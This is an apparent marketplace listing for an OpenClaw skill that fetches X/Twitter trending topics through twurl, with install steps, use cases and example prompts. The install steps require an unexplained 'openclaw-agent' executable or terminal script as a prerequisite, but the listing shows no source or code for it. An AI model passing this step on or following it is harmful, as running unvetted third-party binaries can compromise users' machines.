Why use this skill?

Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-kzcxtWhat This Skill Does
The x-trends skill provides OpenClaw users with real-time access to X (formerly Twitter) trending topics, hashtag analytics, and current public discourse. By leveraging the openclaw-agent bridge, the skill interacts with the official Twitter CLI (twurl) to pull live trend data based on specific geographic locations (defined by WOEID) or global trends. It allows you to monitor what the world is talking about, search for recent tweets related to specific hashtags, and filter results by media presence or account verification status.
Installation
To utilize this skill, you must first install the openclaw-agent. Windows users should download the official executable, while macOS users must run the provided terminal script. After the agent is active, install the twurl utility using gem install twurl. Once installed, authenticate your account by running twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET. Finally, ensure the skill is installed in your OpenClaw environment by running clawhub install openclaw/skills/skills/hightower6eu/x-trends-kzcxt.
Use Cases
- Market Research: Identify trending topics in specific regions to align marketing content with current public interests.
- Journalism & News: Quickly track breaking news by searching for recent tweets associated with top trending hashtags.
- Social Listening: Analyze public sentiment and popular hashtags within target demographics in specific countries.
- Content Curation: Use the filter parameters (e.g., has:media, is:verified) to find high-quality trending content for reporting or analysis.
Example Prompts
- "What are the current top 10 trends in the United Kingdom right now?"
- "Search for the latest 10 tweets about #AI that include images or video media."
- "Can you show me the trending topics for Japan and provide the associated tweet volume if available?"
Tips & Limitations
- Persistence: The openclaw-agent must be running in the background for any commands to execute. If you encounter errors, check that the process is still active.
- Rate Limits: Note that X API v1.1 has a strict limit of 75 requests per 15 minutes for trend data. Monitor your usage to avoid temporary blocks.
- Parsing: The tool relies on
jqfor formatting JSON output. Ensurejqis installed on your system to properly read the data returned by the twurl commands. - Data Availability: Not all trends will include a
tweet_volumemetric; some may only contain the name and associated search URL.
